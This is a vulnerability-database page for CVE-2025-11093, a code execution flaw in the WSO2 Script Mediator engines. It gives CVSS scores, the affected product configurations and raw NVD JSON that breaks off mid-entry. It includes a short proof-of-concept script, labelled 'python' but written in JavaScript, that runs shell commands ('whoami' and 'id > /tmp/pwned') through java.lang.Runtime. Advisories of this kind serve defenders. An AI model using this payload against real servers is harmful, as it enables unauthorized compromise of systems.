Security Vulnerability Report
中文
CVE-2025-11093 CVSS 8.4 HIGH

CVE-2025-11093

Published: 2025-11-05 19:15:50
Last Modified: 2026-01-09 02:33:37
Source: ed10eef1-636d-4fbe-9993-6890dfa878f8

Description

An arbitrary code execution vulnerability exists in multiple WSO2 products due to insufficient restrictions in the GraalJS and NashornJS Script Mediator engines. Authenticated users with elevated privileges can execute arbitrary code within the integration runtime environment. By default, access to these scripting engines is limited to administrators in WSO2 Micro Integrator and WSO2 Enterprise Integrator, while in WSO2 API Manager, access extends to both administrators and API creators. This may allow trusted-but-privileged users to perform unauthorized actions or compromise the execution environment.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wso2:api_control_plane:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* - VULNERABLE
WSO2 Micro Integrator < 最新安全版本
WSO2 Enterprise Integrator < 最新安全版本
WSO2 API Manager < 最新安全版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-11093 PoC - WSO2 Script Mediator RCE // Target: WSO2 Micro Integrator / Enterprise Integrator / API Manager // Prerequisites: High-privilege authenticated user access const String = Java.type('java.lang.String'); const Runtime = Java.type('java.lang.Runtime'); // Execute system command via NashornJS/GraalJS engine var command = 'whoami'; var result = Runtime.getRuntime().exec(command); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(result.getInputStream()) ); var output = ''; var line; while ((line = reader.readLine()) != null) { output += line + '\n'; } output; // Alternative: Direct command execution var process = java.lang.Runtime.getRuntime().exec(['/bin/sh', '-c', 'id > /tmp/pwned']); process.waitFor();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11093", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2025-11-05T19:15:49.900", "lastModified": "2026-01-09T02:33:37.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary code execution vulnerability exists in multiple WSO2 products due to insufficient restrictions in the GraalJS and NashornJS Script Mediator engines. Authenticated users with elevated privileges can execute arbitrary code within the integration runtime environment.\n\nBy default, access to these scripting engines is limited to administrators in WSO2 Micro Integrator and WSO2 Enterprise Integrator, while in WSO2 API Manager, access extends to both administrators and API creators. This may allow trusted-but-privileged users to perform unauthorized actions or compromise the execution environment."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_control_plane:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.0.29", "matchCriteriaId": "8957D59D-3904-44AF-BE40-50A40E7B9F74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.0.345", "matchCriteriaId": "0A9DCE95-7376-4758-8DAD-443F40DD6070"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.0.446", "matchCriteriaId": "0155515E-9675-4E5B-AC66-23D3B1836802"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.1", "versionEndExcluding": "3.2.1.66", "matchCriteriaId": "CA60934A-790E-4CDC-B847-8B3312402064"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.0.228", "matchCriteriaId": "68EA6026-A61F-4486-A1B2-4E4C27A449B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.0.169", "matchCriteriaId": "7476F695-0EC0-4FD2-B4CA-9F7BE336110B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.0.81", "matchCriteriaId": "A848DAE7-63C3-42F1-AEB5-832FFABD94C8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.0.45", "matchCriteriaId": "3E72C8F2-28A0-42A7-9932-3995CEDE6881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.0.28", "matchCriteriaId": "959FAE09-7581-487F-A156-7EFFB62BE457"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:enterprise_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.0", "versionEndExcluding": "6.6.0.224", "matchCriteriaId": "5287C487-F733-4517-960D-D7EFC77C1832"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.0.145", "matchCriteriaId": "C8DB178A-7727-4235-9323-0087429F154B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.0.147", "matchCriteriaId": "FF00EB0D-ED77-418B-B963-1B1BAF5D9A7D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.0.141", "matchCriteriaId": "1E453B4D-2753-4D99-89E3-8F4BBF9FF8CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.0.42", "matchCriteriaId": "82EE5519-28 ... (truncated)